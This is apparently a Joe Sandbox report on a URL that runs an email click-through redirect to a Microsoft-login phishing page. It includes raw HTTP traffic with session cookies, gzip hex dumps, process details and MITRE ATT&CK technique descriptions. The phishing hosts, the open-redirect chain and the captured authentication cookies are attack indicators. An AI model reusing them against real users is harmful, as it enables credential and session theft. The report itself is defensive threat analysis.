.AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:25 UTC	1413	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:25 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 7726b541-c01e-007c-3294-669a16000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145625Z-175dd4d5677mxng4hC1MNZbyzw0000003050000000004ach x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:25 UTC	14971	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E]$\|zmk3h-SznuJ2V.tx~%Y
2025-01-14 14:56:25 UTC	1413	IN	Data Raw: 66 ff e4 10 1b a8 b5 c4 83 45 a5 d2 a7 c9 61 9f 24 3d 2b 31 6b 72 6b 95 a9 2b 79 ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 Data Ascii: fEa$=+1krk+yzxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY={(ka
2025-01-14 14:56:25 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2025-01-14 14:56:25 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-?v QdNN:LtjAuZb2w'u0dH3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50065	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:32 UTC	3315	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:32 UTC	806	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:32 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 088b6be5-e01e-0019-3c8f-663452000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145632Z-15d54ff9787rzhrrhC1YTOfcww0000001bag000000001zm3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-01-14 14:56:32 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50067	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:33 UTC	1931	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:33 UTC	806	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:33 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 088b6be5-e01e-0019-3c8f-663452000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145633Z-15f8c946864g49zghC1YTOsmrc0000000gmg00000000048h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-01-14 14:56:33 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Target ID:	1
Start time:	09:55:43
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:55:49
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1976,i,3409596119010317286,4100031707149322861,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:55:55
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3568_899642208\sets.json

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Windows Analysis Report
https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E